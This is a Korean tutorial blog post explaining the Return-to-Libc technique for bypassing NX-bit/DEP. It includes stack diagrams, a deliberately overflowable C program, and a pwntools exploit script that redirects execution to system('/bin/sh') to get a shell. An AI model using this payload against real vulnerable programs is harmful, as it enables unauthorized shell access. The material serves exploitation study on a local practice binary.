RTL이란 NX-bit(보안기법)이 걸려있을때 사용하는 공격 기법이다.
NX-bit란 스택에서 코드 실행이 불가한 보안기법인데 쉘코드를 직접적으로 주입하거나 Ret에 overwrite해도 따로 실행되지 않아서 공격이 실패하게 된다.
윈도우에서 같은 보안기법으로는 DEP이 있다.
RTL을 제대로 파헤치기 위해서는 함수호출 과정을 제대로 이해하는게 필요하다.
#include<stdio.h>
int main(){
char buf[50];
read(0, buf, 100);
return 0;
}
다음과 같은 코드를 분석해보자
=======
RET
=======
SFP
=======
buf[50]
처음 스택이 이렇게 자라있을것이고 main함수에 에필로그를 진행하는 과정을 살펴보자
에필로그 과정은 다음과 같다.
leave : mov esp, ebp + pop ebp
ret : pop eip + jmp eip
(1) leave가 실행되면서 ebp는 다른곳으로 이동하고 EIP는 RET을 가리키게된다.
=======
RET ---- eip
======= ----esp
SFP
=======
buf[50]
(2) ret을 실행하면서 esp에서 가리키는 ret의 주소값이 eip로 들어간다.
여기서 system() 주소 값이 ret에 저정되어있다고 생각해보자.
ret 실행후 스택을 보면
======= ----esp
RET(System)
=======
SFP
=======
buf[50]
(3) system()이 프롤로그가 진행되면서 esp는 4bytes가 증가되고 SFP가 push가 된다.
=======
RET(System)
======= ----esp
SFP
=======
buf[50]
(4) system() 프롤로그 mov ebp esp 실행후 esp와 ebp는 같은 곳에 있게된다.
=======
RET(System)
======= ----esp, ebp
SFP
=======
buf[50]
(5) system()함수가 다시 에필로그를 진행하여 leave가 실행된다면
mov esp, ebp + pop ebp를 진행하여 ebp는 다른곳으로 이동하고 esp위치는 다음과 같을것이다.
=======
dummy
======= ----esp
RET(System)
=======
SFP
=======
buf[50]
(6) system() 에필로그 ret이 실행된다면 eip에 dummy값이 들어가게 되고 eip는 그곳으로 점프한다.
(여기 eip가 다음 실행될 명령어의 주소이다.)
======= -----esp
dummy -----eip
=======
RET(System)
=======
SFP
=======
buf[50]
(7) 만약 실행될 명령어의 주소가 없고 그다음 인자에 /bin/sh가 들어가 있다면 쉘이 따질것이다.
======
/bin/sh
======= -----esp
dummy -----eip
=======
RET(System)
=======
SFP
=======
buf[50]
라이브러리를 한번만 호출하고 끝나면 다음 함수를 호출할 필요가 없기 때문에
그냥 아무 더미 값이나 들어가도 된다.
공격을 실습해보자면
보안 옵션을 해제한 후 컴파일한다.
rtl 필요한 주소를 찾았고 페이로드를 구상해보자면
buf[50] + sfp + ret(system) + dummy(4) + "/bin/sh"
Exploit code
from pwn import *
p = process("./rtl")
system_addr = 0xf7e1de10
bin_sh_addr = 0xf7f5c88f
payload = b"A" * 54
payload += p32(system_addr)
payload += b"AAAA"
payload += p32(bin_sh_addr)
p.send(payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
UAF (Use After Free) (0) | 2022.03.12 |
---|---|
GOT Overwrite (0) | 2022.01.22 |
PLT & GOT 파헤치기 (0) | 2022.01.20 |